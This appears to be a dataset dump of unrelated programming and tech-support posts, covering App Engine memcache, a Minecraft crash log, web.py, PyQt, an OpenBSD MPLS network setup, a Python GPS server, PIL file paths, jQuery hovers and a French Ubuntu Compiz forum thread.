text
stringlengths 256
65.5k
|
---|
I generate RSS feed with latest 10 records from GAE NDB datastore. Records in database are updated weekly. How can I avoid queries to datastore each time user requests RSS feed display? I.e. how to cache that?
You can use memcache to avoid hitting the datastore every time. As you probably know queries are not cached in NDB.
def get_data():
data = memcache.get('key')
if data is not None:
return data
else:
data = self.query_for_data()
memcache.add('key', data, 60)
return data
So in other words, try to get your data from memcache and if it fails get it from the datastore then add it to memcache for next time round.
The example above uses a 60 second timeout (the value 60 in the .add call) Simply leave that argument out to have the data persist as long as memcache allows.
Also from a similar question: NDB Caching When Using Projected Queries
So it appears if you get by key you'll automatically get from the NDB cache instead, if available, but I've not personally used that.
So construct your RSS content and just before you render or it, save it to memcache. Then when you update the content it's created from simply invalidate the cached version (see docs) so the next request will get it from the datastore and you can then put it back in the cache. |
I was trying to port forward my minecraft server, using port 25566, and for some reason it wasn't working. So, I opened minecraft to enter localhost, and after clicking login, the window closed and placed an error log report on my desktop. The same thing happens with all subsequent tries. Here is the error report:
#
# A fatal error has been detected by the Java Runtime Environment:
#
# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x690ba2a1, pid=3152, tid=3372
#
# JRE version: 6.0_26-b03
# Java VM: Java HotSpot(TM) Client VM (20.1-b02 mixed mode windows-x86 )
# Problematic frame:
# C [atioglxx.dll+0x8a2a1]
#
# If you would like to submit a bug report, please visit:
# http://java.sun.com/webapps/bugreport/crash.jsp
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#
--------------- T H R E A D ---------------
Current thread (0x0200cc00): JavaThread "Minecraft main thread" daemon [_thread_in_native, id=3372, stack(0x4ef10000,0x4ef60000)]
siginfo: ExceptionCode=0xc0000005, reading address 0x00000b54
Registers:
EAX=0x00000000, EBX=0x4f31c778, ECX=0x00000000, EDX=0x00000000
ESP=0x4ef548a0, EBP=0x4ef561cc, ESI=0x00000000, EDI=0x00000001
EIP=0x690ba2a1, EFLAGS=0x00010212
Top of Stack: (sp=0x4ef548a0)
0x4ef548a0: 00000000 00000000 00000000 4f31c778
0x4ef548b0: 00000000 00000000 00000000 00000000
0x4ef548c0: 00000000 00000000 00000000 00000000
0x4ef548d0: 00000000 00000000 000000f5 00000000
0x4ef548e0: 00000000 00000000 00000000 00000000
0x4ef548f0: 00000000 00000000 00000000 00000000
0x4ef54900: 00000000 00000001 00000000 00000000
0x4ef54910: 00000000 00000000 4f1e9be8 0000000e
Instructions: (pc=0x690ba2a1)
0x690ba281: 14 8d 43 10 50 8d 4c 24 1c 51 56 57 8d 7c 24 50
0x690ba291: e8 0a 21 04 00 8b 53 10 bf 01 00 00 00 89 43 08
0x690ba2a1: 39 ba 54 0b 00 00 0f 85 85 00 00 00 68 f8 bc f0
0x690ba2b1: 69 e8 07 0b d6 00 83 c4 04 85 c0 74 74 be bc 56
Register to memory mapping:
EAX=0x00000000 is an unknown value
EBX=0x4f31c778 is an unknown value
ECX=0x00000000 is an unknown value
EDX=0x00000000 is an unknown value
ESP=0x4ef548a0 is pointing into the stack for thread: 0x0200cc00
EBP=0x4ef561cc is pointing into the stack for thread: 0x0200cc00
ESI=0x00000000 is an unknown value
EDI=0x00000001 is an unknown value
Stack: [0x4ef10000,0x4ef60000], sp=0x4ef548a0, free space=274k
Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code)
C [atioglxx.dll+0x8a2a1] DrvPresentBuffers+0x3e821
Java frames: (J=compiled Java code, j=interpreted, Vv=VM code)
j org.lwjgl.opengl.WindowsPeerInfo.nChoosePixelFormat(JIILorg/lwjgl/opengl/PixelFormat;Ljava/nio/IntBuffer;ZZZZ)I+0
j org.lwjgl.opengl.WindowsPeerInfo.choosePixelFormat(JIILorg/lwjgl/opengl/PixelFormat;Ljava/nio/IntBuffer;ZZZZ)I+15
j org.lwjgl.opengl.WindowsDisplay.createWindow(Lorg/lwjgl/opengl/DisplayMode;Ljava/awt/Canvas;II)V+176
j org.lwjgl.opengl.Display.createWindow()V+68
j org.lwjgl.opengl.Display.create(Lorg/lwjgl/opengl/PixelFormat;Lorg/lwjgl/opengl/Drawable;Lorg/lwjgl/opengl/ContextAttribs;)V+63
j org.lwjgl.opengl.Display.create(Lorg/lwjgl/opengl/PixelFormat;)V+9
j org.lwjgl.opengl.Display.create()V+13
j net.minecraft.client.Minecraft.a()V+135
j net.minecraft.client.Minecraft.run()V+6
j java.lang.Thread.run()V+11
v ~StubRoutines::call_stub
--------------- P R O C E S S ---------------
Java Threads: ( => current thread )
=>0x0200cc00 JavaThread "Minecraft main thread" daemon [_thread_in_native, id=3372, stack(0x4ef10000,0x4ef60000)]
0x0200d400 JavaThread "Timer hack thread" daemon [_thread_blocked, id=3368, stack(0x4ee80000,0x4eed0000)]
0x0200a800 JavaThread "Keep-Alive-Timer" daemon [_thread_blocked, id=3356, stack(0x4d490000,0x4d4e0000)]
0x0200c800 JavaThread "D3D Screen Updater" daemon [_thread_blocked, id=3256, stack(0x4e920000,0x4e970000)]
0x0200c000 JavaThread "DestroyJavaVM" [_thread_blocked, id=3160, stack(0x00360000,0x003b0000)]
0x0200b400 JavaThread "TimerQueue" daemon [_thread_blocked, id=3252, stack(0x4d650000,0x4d6a0000)]
0x0200b000 JavaThread "AWT-EventQueue-0" [_thread_blocked, id=3236, stack(0x4d520000,0x4d570000)]
0x0200a000 JavaThread "AWT-Windows" daemon [_thread_in_native, id=3204, stack(0x4ab70000,0x4abc0000)]
0x02009c00 JavaThread "AWT-Shutdown" [_thread_blocked, id=3200, stack(0x4aa00000,0x4aa50000)]
0x02009400 JavaThread "Java2D Disposer" daemon [_thread_blocked, id=3196, stack(0x4a940000,0x4a990000)]
0x02009000 JavaThread "Low Memory Detector" daemon [_thread_blocked, id=3188, stack(0x4a620000,0x4a670000)]
0x02015800 JavaThread "C1 CompilerThread0" daemon [_thread_blocked, id=3184, stack(0x4a590000,0x4a5e0000)]
0x02008800 JavaThread "Attach Listener" daemon [_thread_blocked, id=3180, stack(0x4a500000,0x4a550000)]
0x02008400 JavaThread "Signal Dispatcher" daemon [_thread_blocked, id=3176, stack(0x4a470000,0x4a4c0000)]
0x01fdf000 JavaThread "Finalizer" daemon [_thread_blocked, id=3172, stack(0x4a3e0000,0x4a430000)]
0x01fda400 JavaThread "Reference Handler" daemon [_thread_blocked, id=3168, stack(0x4a350000,0x4a3a0000)]
Other Threads:
0x01fd5c00 VMThread [stack: 0x4a2c0000,0x4a310000] [id=3164]
0x0203c000 WatcherThread [stack: 0x4a6b0000,0x4a700000] [id=3192]
VM state:not at safepoint (normal execution)
This error has happened to other people before, but I haven't been able to find an actual answer to the problem. Minecraft + java have been reinstalled in all possible ways, video card drivers(radeon x600) have been changed, updated, everything. I have 4 gigabytes of ddr2 RAM and a pentium d 820, and windows 7 ultimate 64-bit. The answers in the other question like this on this site don't help at all. I say I was fiddling with minecraft server because that's the only thing I did that could have done anything to break minecraft. I was able to play minecraft beforehand. Minecraft for free and in-browser minecraft on minecraft.net don't work either. Minecraft server works perfectly though. |
I have two web application: parent_app and sub_app
say that, http://www.some.com/parent.png will be handled by parent_app.
if it is refererd in another website, parent_app get a HTTP_REFERER, say that is http://www.other.com/path?query=value,
I want a sub_app take this HTTP_REFERER's path and query_string as his own path and query_string, and return the result to parent_app, so ,parent_app's url won't be changed, the visitors brower won't get a 303 jump either.
sub.py:
import web
class Sub(object):
def GET(self):
return web.input().query # I want it to be 'value', from "query=value"
urls = (r'/path', 'Sub')
sub_app = web.application(urls, locals())
parent.py:
import web
from sub import sub_app
class Parent(object):
def GET(self):
return sub_app.request('/path?query=value').data #=========(1)
urls = (
r'/parent.png', 'Parent',
r'', sub_app
)
parent_app = web.application(urls, locals())
and run:
>>>python parent.py
when I visit 'http://www.some.com/parent.png'?
I get these errors:
Traceback (most recent call last):
File "/home/netroyal/Documents/program/studame/web/wsgiserver/__init__.py", line 1245, in communicate
req.respond()
File "/home/netroyal/Documents/program/studame/web/wsgiserver/__init__.py", line 775, in respond
self.server.gateway(self).respond()
File "/home/netroyal/Documents/program/studame/web/wsgiserver/__init__.py", line 2018, in respond
response = self.req.server.wsgi_app(self.env, self.start_response)
File "/home/netroyal/Documents/program/studame/web/httpserver.py", line 306, in __call__
return self.app(environ, xstart_response)
File "/home/netroyal/Documents/program/studame/web/httpserver.py", line 274, in __call__
return self.app(environ, start_response)
File "/home/netroyal/Documents/program/studame/web/application.py", line 279, in wsgi
result = self.handle_with_processors()
File "/home/netroyal/Documents/program/studame/web/application.py", line 249, in handle_with_processors
return process(self.processors)
File "/home/netroyal/Documents/program/studame/web/application.py", line 246, in process
raise self.internalerror()
File "/home/netroyal/Documents/program/studame/web/application.py", line 473, in internalerror
parent = self.get_parent_app()
File "/home/netroyal/Documents/program/studame/web/application.py", line 458, in get_parent_app
if self in web.ctx.app_stack:
AttributeError: 'ThreadedDict' object has no attribute 'app_stack'
/home/netroyal/Documents/program/studame/web/ is the web.py package path.
so, how can I make (1) running correctly?
I want to get the same result like (1) runs in shell:
>>> import web
>>> class Sub(object):
... def GET(self):
... return web.input().query
>>> urls = ('/path', 'Sub')
>>> sub_app = web.application(urls, locals())
>>> sub_app.request('/path?query=value').data #=========(1)'
'value'
>>>
I know, I can use
web.seeother('/path?query=value')
to make visitors see the result, but I do not want the browser jump to another url.
I think
urllib2.urlopen('http://www.some.com/path?query=value')
will work, but is there a better way to do it in a single request?
thank you for any help!-----for reading this,too !==========================================Edit======================================
OK, after some code hacking, I solved a part of my problem:
I add a simulation.py:
import web, re
class Simulation(object):
def __init__(self, urls, fvars):
self._urls = urls
self._fvars = fvars
def request(self, localpart='/', method='GET', data=None, host='0.0.0.0:8080', headers=None, https=False):
#nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
# get path and args(parameters from new url)
try:
path, query = localpart.split('?', 1)
except:
path, query = (localpart, '')
# get all arguments: args(parameters)
parts = query.split('&')
args = {}
for part in parts:
try:
name, value = part.split('=')
except:
pass
else:
args[name] = value
#uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
patterns = [self._urls[2*i] for i in range(0, len(self._urls)/2)]
for i in range(0, len(patterns)):
result = re.match(patterns[i], path)
if result:
web.input = lambda: web.storage(args)
Worker = self._fvars[self._urls[2*i + 1]]
return Worker().GET(*result.groups())
#----------------------------------------------------------------------------------------
raise web.notfound()
and insub.py:
from simulation import *
class Sub(object):
def GET(self):
return web.input().query # I want it to be 'value', from "query=value"
urls = (r'/path', 'Sub')
sub_app = web.application(urls, locals())
sub_sim = Simulation(urls, locals()) # new class to run request in parent_app
adn in parent.py:
import web
from sub import sub_app, sub_sim #sub_sim is new
class Parent(object):
def GET(self):
return sub_sim.request('/path?query=value') # sub_app changed to sub_sim, and no (.data)
urls = (
r'/parent.png', 'Parent',
r'', sub_app
)
parent_app = web.application(urls, locals())
and I can use '/sub' to visit sub_app too, keep it a standalone application.
I solved my problem, not perfectly,but some kind of hard. I think I will just use it, when I have more time, I will find another way. if you have a better solution, please tell me, thanks.
Best regards.
========================================= I feel like I was speaking to myself, where is people? |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from PyQt4 import QtGui, QtCore
class Example(QtGui.QMainWindow):
def __init__(self):
super(Example, self).__init__();
self.initUI()
def initUI(self):
field = QtGui.QLineEdit("", self)
field.resize(field.sizeHint())
field.move(150, 100)
submit_button = QtGui.QPushButton("Fill hello world", self)
submit_button.resize(submit_button.sizeHint())
submit_button.move(50,300)
submit_button.clicked.connect(self.modify(field))
def modify(self, field):
field.setText("hello")
def main(): #!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from PyQt4 import QtGui, QtCore
class Example(QtGui.QMainWindow):
def __init__(self):
super(Example, self).__init__();
self.initUI()
def initUI(self):
field = QtGui.QLineEdit("", self)
field.resize(field.sizeHint())
field.move(150, 100)
submit_button = QtGui.QPushButton("Fill hello world", self)
submit_button.resize(submit_button.sizeHint())
submit_button.move(50,300)
submit_button.clicked.connect(self.modify(field))
def modify(self, field):
field.setText("hello")
def main():
app = QtGui.QApplication(sys.argv)
ex = Example()
ex.show()
sys.exit(app.exec_())
if __name__=='__main__':
main()
app = QtGui.QApplication(sys.argv)
ex = Example()
ex.show()
sys.exit(app.exec_())
if __name__=='__main__':
main()
Ok. so here is what I want to do.Whenever the sumbit button is clicked, I want the field to be filled by 'hello world'. This would mean connecting the submit button to a user defined slot. How do I pass the field to the modify() function, where its text can be altered?
Presently the code gives error:
File "test.py", line 21, in initUI
submit_button.clicked.connect(self.modify(field))
TypeError: connect() slot argument should be a callable or a signal, not 'NoneType'
|
A few months ago, I wrote a diff to simplify the calculation of ICMP extension header checksums in the OpenBSD kernel. It so happened that the code is only used by the OpenBSD MPLS subsystem. I didn’t have access to an OpenBSD-based MPLS network at the time, nor was I familiar with MPLS in general; so in the spirit of the OpenBSD hacker mantra “shut up and hack,” I set out to build a small MPLS test network to test my diff. :)
This blog post documents my experience setting up the MPLS network; hopefully someone out there will find it useful.
WARNING: I set up this network a few months ago and it’s very likelythat I have forgotten a bunch of details. Also shortly after I committedmy diff, one of the nodes in the network died from a powerbrownout/surge during a crazy thunderstorm and I haven’t had a chance torebuild the network. So most of this blog post is based on my notes andfuzzy memory. You’ve been warned!
If you’re not familiar with OpenBSD’s implementation of MPLS, you’ll first need to read Claudio Jeker’s (claudio@) EuroBSDCon 2011 paper: Demystifying MPLS: The MPLS Framework in OpenBSD (PDF). I designed my small (tiny?) test network as a subset of Claudio’s example network (see page 6 of the PDF for a diagram of his network). To minimize variables, I used the exact same IP addresses and MPLS labels where possible. If you’re just getting your feet wet with MPLS on OpenBSD like I was, I suggest doing the same.
Here’s how my simple four-node test network looked like:
If you’re not familiar with MPLS terminology, P is Provider, and PE is Provider Edge. What they are is explained in the paper. :)
The goal is to get the Customer at 192.168.237.4 talking to the IP address behind PE2 (192.168.237.242).
By the way, if you feel like trying this out, I highly recommend using OpenBSD -current (or OpenBSD 5.4 when it is released in November 1, 2013); there were a bunch of ldpd(8) commits made at the t2k13 hackathon in June 2013 so it helps to be as up-to-date as possible.
Customer Setup
ifconfig rl0 192.168.237.4/28
route add default 192.168.237.2
PE1 Setup
PE1 interface config:
ifconfig em0 rdomain 1
ifconfig em0 192.168.237.2/28
route -T1 add default 192.168.237.1
ifconfig lo1 10.42.42.1/32
ifconfig em1 10.42.0.1/24 mpls
ifconfig mpe0 rdomain 1
ifconfig mpe0 mplslabel 666
ifconfig mpe0 192.168.237.2/32
PE1 /etc/ospfd.conf:
router-id 10.42.42.1
area 0.0.0.0 {
interface em1
interface lo1
}
PE1 /etc/ldpd.conf:
router-id 10.42.42.1
interface em1
PE1 /etc/bgpd.conf:
router-id 10.42.42.1
AS 3.10
rdomain 1 {
descr "CUSTOMER1"
rd 3.10:1
import-target rt 3.10:1
export-target rt 3.10:1
depend on mpe0
network inet connected
network 0.0.0.0/0
}
group ibgp {
announce IPv4 unicast
announce IPv4 vpn
remote-as 3.10
local-address 10.42.42.1
neighbor 10.42.42.2 {
descr PE2
}
}
PE2 Setup
PE2 interface config:
ifconfig rl0 rdomain 1
ifconfig rl0 192.168.237.242/28
ifconfig lo1 10.42.42.2/32
ifconfig rl1 10.42.6.2/24 mpls
ifconfig mpe0 rdomain 1
ifconfig mpe0 mplslabel 666
ifconfig mpe0 192.168.237.242/32
PE2 /etc/ospfd.conf:
router-id 10.42.42.2
area 0.0.0.0 {
interface rl1
interface lo1
}
PE2 /etc/ldpd.conf:
router-id 10.42.42.2
interface rl1
PE2 /etc/bgpd.conf:
router-id 10.42.42.2
AS 3.10
rdomain 1 {
descr "CUSTOMER1"
rd 3.10:1
import-target rt 3.10:1
export-target rt 3.10:1
depend on mpe0
network inet connected
}
group ibgp {
announce IPv4 unicast
announce IPv4 vpn
remote-as 3.10
route-reflector
local-address 10.42.42.2
neighbor 10.42.42.1 {
descr PE1
}
}
P1 Setup
P1 interface config:
ifconfig lo1 10.42.21.1/32
ifconfig fxp2 10.42.0.2/24 mpls
ifconfig fxp3 10.42.6.1/24 mpls
sysctl net.inet.ip.forwarding=1
P1 /etc/ospfd.conf:
router-id 10.42.21.1
area 0.0.0.0 {
interface fxp2
interface fxp3
interface lo1
}
P1 /etc/ldpd.conf:
router-id 10.42.21.1
interface fxp2
interface fxp3
Putting it all together
Now that all the config files are in place, it’s time to start up the daemons and give the network a whirl. At this point, I really wish I still have the test network so that I can provide specific instructions on starting the daemons and confirming that they work as expected.
But I do recall an important bit of information. The daemons need to be started in this order: (1) ospfd, (2) ldpd, and (3) bgpd. (see the end of Claudio’s misc@ post).
So if I recall correctly, this is what I did:
Set up the network as above.
Start ospfd on PE1, P1, and PE2.
Test that PE1 and ping P1 and P1 can ping PE2.
Start ldpd on PE1, P1, and PE2.
Start bgpd on PE1 and PE2.
If all goes well, the Customer system should now be able to access the IP address behind PE2 (192.168.237.242) over the MPLS network.
If I ever set up the test network again, I’ll update this blog post with more specific details. |
I am new at python, currently I am working on a GPS tracker with that interacts with Google maps using an Arduino Uno. I am getting this error and it is not letting me run the .py script for my tcpServer this is the whole script.
#!/usr/bin/env python
import socket
import MySQLdb
TCP_IP = 'my machine IP'
TCP_PORT = 32000
BUFFER_SIZE = 40
# ClearDB. Deletes the entire tracking table
def ClearDB(curs,d ):
curs.execute ("""
INSERT INTO gmaptracker (lat, lon)
VALUES (0.0,0.0)""")
d.commit()
# Connect to the mySQL Database
def tServer():
try:
db = MySQLdb.connect (host = "my host",
user = "my user",
passwd = "my password",
db = "gmap" )
except MySQLdb.Error, e:
print "Error %d: %s" %(e.args[0], e.args[1])
sys.exit(1);
cursor = db.cursor()
# Start with a fresh tracking table
ClearDB(cursor,db)
# Set up listening Socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((TCP_IP, TCP_PORT))
print "Listening...."
s.listen(1)
conn, addr = s.accept()
print 'Accepted connection from address:', addr
except socket.error (message):
if s:
s.close()
print "Could not open socket: " + message
cursor.close()
conn.close()
db.close()
sys.exit(1)
try:
while 1:
data = conn.recv(BUFFER_SIZE)
if not data:break
str1,str2 = data.split("Long: ")
str1 = str1.split("Lat: ")[1]
latitude = float(str1)
longitude = float(str2)
cursor.execute ("""
INSERT INTO gmaptracker (lat, lon)
VALUES (%s,%s)""", (latitude,longitude))
db.commit()
except KeyboardInterrupt:
ClearDB(cursor,db);
cursor.close()
conn.close()
db.close()
if __name__ == '__main__':
tServer()
and this is the error that I am getting
Traceback (most recent call last):
File "tcpServer.py", line 79, in <module>
tServer()
File "tcpServer.py", line 48, in tServer
except socket.error(message):
NameError: global name 'message' is not defined
If anyone can help me figure this out I would greatly appreciate it, as I said I am new at python I am also running python 2.7 if that helps. Thanks in advance |
I want to load an image but I get an error-message.
My code:
from PIL import Image
im = Image.open("D:\Python26\PYTHON-PROGRAMME\bild.jpg")
im.show()
I get this error:
Traceback (most recent call last):
File "D:\Python26\PYTHON-PROGRAMME\00000000000000000", line 2, in <module>
im = Image.open("D:\Python26\PYTHON-PROGRAMME\bild.jpg")
File "D:\Python26\lib\site-packages\PIL\Image.py", line 1888, in open
fp = __builtin__.open(fp, "rb")
IOError: [Errno 22] invalid mode ('rb') or filename: 'D:\\Python26\\PYTHON-PROGRAMME\x08ild.jpg'
|
JavaScript
iamjustoneman — 2011-12-20T18:02:28-05:00 — #1
Hi all,
I have work thumbnails on one side (meals), ingredients on the other side, what I would like to do is:
1) If I hover over a meal, the ingredients used for that dish are highlighted on the left
2) If I hover over an ingredient, the dishes that used this ingredient are selected
I am just starting out in jQuery, can anyone give me some pointers.
Many thanks
system — 2011-12-20T18:07:04-05:00 — #2
1) How do you want the associated images highlighted? How you code it up depends on it.
2) How are the dishes selected, check boxes, radio buttons or something else?
3) Why use jquery when you can do it with less code running with just normal javascript? I assume you are aware jquery is just a set javascript functions.
iamjustoneman — 2011-12-20T18:17:12-05:00 — #3
Hi there Max,
1) Each image will have a heading (the meal name), when not highlighted, the background of the title will be white, when it is highlighted it will be black.
2) The dishes are selected via hovering over over the meal name in a list
3) Sure, I myself and beginning to learn jQuery, I'm more of a designer than developer, so the my few first couple of tutorials are quite promising, it makes sense to me, I guess this little exercise has come a little to soon, if someone can help no doubt I will learn along the way. In short, jQuery was chosen because it looks quite friendly for a non-tecky newbie.
system — 2011-12-20T18:19:13-05:00 — #4
In any case you could set up an array something like this
var mealsData = [
['meal1','ingr1','ingr2','ingr3','ingr4','ingr5','ingr6'],
['meal2','ingr7','ingr2','ingr3','ingr8','ingr9']
];
and then depending on whether a meal or ingredient is hovered on, you loop through the appropriate part of the array to get the info for the images you need to highlight or select on the other side.
iamjustoneman — 2011-12-20T18:23:02-05:00 — #5
Hi Max,
Thanks for the help, I'm learning about arrays, thanks for the pointers, don't suppose you would be willing to whip up a very basic demo, cheeky i know, I just can't find any demo's to learn from. I know I just start learning all this from scratch, I just seem to learn more from examples
system — 2011-12-20T18:29:29-05:00 — #6
I find that very hard to believe. Try any of these examples. |
Anarcheon
Perte d'éléments suite à utilisation de compiz
Bonjour à tous,
Utilisateur relativement récent d'Ubuntu (<1 an), j'ai voulu faire mumuse avec compiz. J'essaie d'installer le cube et quelques autres "décorations", mais finis par me rendre compte que c'était aussi bien avant, et que j'irai bidouiller un peu plus tard, quand j'aurais plus de temps ^^
Je trouve un bouton "Remettre les valeurs par défaut" (ou quelque chose dans ce goût là), et là...c'est le drame.
Mon ordi se met à tourner de façon...importante ^^
J'ai dû partir faire autre chose, je me dis que je le laisse tourner et que je reviendrai plus tard, quand il aura fini de faire tous ses petits calculs.
1h30 plus tard, retour sur mon ordi, et je le retrouve comme je l'avais laissé : des fenêtres blanches ouvertes un peu partout, plus de barre avec mes logiciels sur la gauche, et plus de barre de menu en haut des fenêtres. Seule différence : je peux bouger ma souris, mais je n'ai nul part ou cliquer.
Je finis par éteindre l'ordinateur à la sauvage, et je le rallume. Arrivé sur le bureau, toujours pas de barre à gauche. J'ai un document sans extension et un dossier sur mon bureau, je peux les ouvrir et les éditer, mais pas de barre de menu en haut (ni celle avec le croix, le tiret (réduire) et le cadre (plein écran), ni celle avec Fichier, Edition, etc...)
Le bouton "Windows" ne me permet pas d'ouvrir le menu et d'ouvrir de nouveaux logiciels, du coup je n'ai pas accès à ma console ou à compiz (ou en tout cas je n'ai pas trouvé comment y avoir accès. J'ai pensé les ouvrir depuis l'explorateur de fichier en allant chercher directement à la source, mais ne les aient pas trouvés).
Je suis présentement sur ma session d'invité, qui elle marche parfaitement bien.
Ah oui, je tourne sous Ubuntu 13.10.
Vous avez des idées sur comment je pourrais réparer tout ça ?
Merci d'avance
Anar
PS : J'espère être dans la bonne section, je m'en excuse si ce n'est pas le cas
Dernière modification par Anarcheon (Le 30/03/2014, à 16:56)
Hors ligne
nam1962
Re : Perte d'éléments suite à utilisation de compiz
Il faut peut être désinstaller compiz pour commencer.
sudo apt-get remove --purge compiz
Puis après donne nous ton
sudo apt-get update
Si tu veux t'amuser avec ton bureau, je te conseille plutôt Xubuntu pour te faire la main et un passage dans le tuto des ma signature - plus tard tu pourras aussi tester Kubuntu (perso ai toujours trouvé KDE trop compliqué, mais des gouts et des couleurs...)
Mon tuto pour optimiser / finaliser une install : http://forum.ubuntu-fr.org/viewtopic.ph … #p15041961
Xubuntu 14.10 sur portable, 14.04 sur fixe, 14.04 chez mes amis.
Score : 49 convertis IRL (leur ai pas donné le choix, aussi...).
Un jeune site que j'aime bien, qui fait du T-shirt la nouvelle élégance ...bio en plus : http://goudronblanc.com
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Bonsoir nam,
Le problème, c'est que je n'ai pas accès au terminal
Pas de barre sur la gauche, et lorsque je clique sur le bouton "windows", rien ne s'affiche et je ne peux donc pas chercher le terminal.
Je regarderai ton tuto plus en détail alors, dès que j'aurais réparé tout ça ^^
Hors ligne
fouduroi
Re : Perte d'éléments suite à utilisation de compiz
ctrl+alt+t pour ouvrir un terminal
ubuntu 13.04 64 bits / ubuntu 14.04 64 bits /
asus p6t, core i7 920, 7go ram, nvidia gt220
http://www.pullco.fr/ association pour la Promotion de l’Utilisation des Logiciels Libres en COrrèze
Hors ligne
Anarcheon
Re : Perte d'éléments suite à utilisation de compiz
Merci fouduroi
Bon alors après suppression de compiz, le problème apparait aussi sur ma session d'invité...
Sinon, voici le résultat de la commande :
Ign http://extras.ubuntu.com saucy InRelease
Ign http://archive.canonical.com saucy InRelease
Ign http://security.ubuntu.com saucy-security InRelease
Ign http://fr.archive.ubuntu.com saucy InRelease
Atteint http://extras.ubuntu.com saucy Release.gpg
Ign http://fr.archive.ubuntu.com saucy-updates InRelease
Atteint http://archive.canonical.com saucy Release.gpg
Atteint http://security.ubuntu.com saucy-security Release.gpg
Ign http://fr.archive.ubuntu.com saucy-backports InRelease
Atteint http://extras.ubuntu.com saucy Release
Atteint http://archive.canonical.com saucy Release
Atteint http://security.ubuntu.com saucy-security Release
Atteint http://fr.archive.ubuntu.com saucy Release.gpg
Atteint http://extras.ubuntu.com saucy/main Sources
Atteint http://archive.canonical.com saucy/partner i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-updates Release.gpg
Atteint http://security.ubuntu.com saucy-security/main Sources
Atteint http://extras.ubuntu.com saucy/main i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-backports Release.gpg
Atteint http://security.ubuntu.com saucy-security/restricted Sources
Atteint http://fr.archive.ubuntu.com saucy Release
Atteint http://fr.archive.ubuntu.com saucy-updates Release
Atteint http://security.ubuntu.com saucy-security/universe Sources
Atteint http://fr.archive.ubuntu.com saucy-backports Release
Atteint http://security.ubuntu.com saucy-security/multiverse Sources
Atteint http://fr.archive.ubuntu.com saucy/main Sources
Atteint http://fr.archive.ubuntu.com saucy/restricted Sources
Atteint http://security.ubuntu.com saucy-security/main i386 Packages
Atteint http://fr.archive.ubuntu.com saucy/universe Sources
Atteint http://fr.archive.ubuntu.com saucy/multiverse Sources
Atteint http://security.ubuntu.com saucy-security/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com saucy/main i386 Packages
Atteint http://security.ubuntu.com saucy-security/universe i386 Packages
Atteint http://fr.archive.ubuntu.com saucy/restricted i386 Packages
Atteint http://security.ubuntu.com saucy-security/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com saucy/universe i386 Packages
Atteint http://fr.archive.ubuntu.com saucy/multiverse i386 Packages
Atteint http://security.ubuntu.com saucy-security/main Translation-en
Atteint http://fr.archive.ubuntu.com saucy/main Translation-fr
Atteint http://fr.archive.ubuntu.com saucy/main Translation-en
Ign http://archive.canonical.com saucy/partner Translation-fr_FR
Ign http://extras.ubuntu.com saucy/main Translation-fr_FR
Atteint http://fr.archive.ubuntu.com saucy/multiverse Translation-fr
Ign http://archive.canonical.com saucy/partner Translation-fr
Ign http://extras.ubuntu.com saucy/main Translation-fr
Atteint http://fr.archive.ubuntu.com saucy/multiverse Translation-en
Atteint http://security.ubuntu.com saucy-security/multiverse Translation-en
Ign http://extras.ubuntu.com saucy/main Translation-en
Ign http://archive.canonical.com saucy/partner Translation-en
Atteint http://fr.archive.ubuntu.com saucy/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com saucy/restricted Translation-en
Atteint http://fr.archive.ubuntu.com saucy/universe Translation-fr
Atteint http://fr.archive.ubuntu.com saucy/universe Translation-en
Atteint http://security.ubuntu.com saucy-security/restricted Translation-en
Atteint http://fr.archive.ubuntu.com saucy-updates/main Sources
Atteint http://fr.archive.ubuntu.com saucy-updates/restricted Sources
Atteint http://fr.archive.ubuntu.com saucy-updates/universe Sources
Atteint http://fr.archive.ubuntu.com saucy-updates/multiverse Sources
Atteint http://security.ubuntu.com saucy-security/universe Translation-en
Atteint http://fr.archive.ubuntu.com saucy-updates/main i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-updates/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-updates/universe i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-updates/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-updates/main Translation-fr
Atteint http://fr.archive.ubuntu.com saucy-updates/main Translation-en
Atteint http://fr.archive.ubuntu.com saucy-updates/multiverse Translation-fr
Atteint http://fr.archive.ubuntu.com saucy-updates/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com saucy-updates/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com saucy-updates/restricted Translation-en
Atteint http://fr.archive.ubuntu.com saucy-updates/universe Translation-fr
Atteint http://fr.archive.ubuntu.com saucy-updates/universe Translation-en
Atteint http://fr.archive.ubuntu.com saucy-backports/main Sources
Atteint http://fr.archive.ubuntu.com saucy-backports/restricted Sources
Atteint http://fr.archive.ubuntu.com saucy-backports/universe Sources
Atteint http://fr.archive.ubuntu.com saucy-backports/multiverse Sources
Atteint http://fr.archive.ubuntu.com saucy-backports/main i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-backports/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-backports/universe i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-backports/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com saucy-backports/main Translation-en
Atteint http://fr.archive.ubuntu.com saucy-backports/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com saucy-backports/restricted Translation-en
Ign http://security.ubuntu.com saucy-security/main Translation-fr_FR
Ign http://security.ubuntu.com saucy-security/main Translation-fr
Atteint http://fr.archive.ubuntu.com saucy-backports/universe Translation-en
Ign http://security.ubuntu.com saucy-security/multiverse Translation-fr_FR
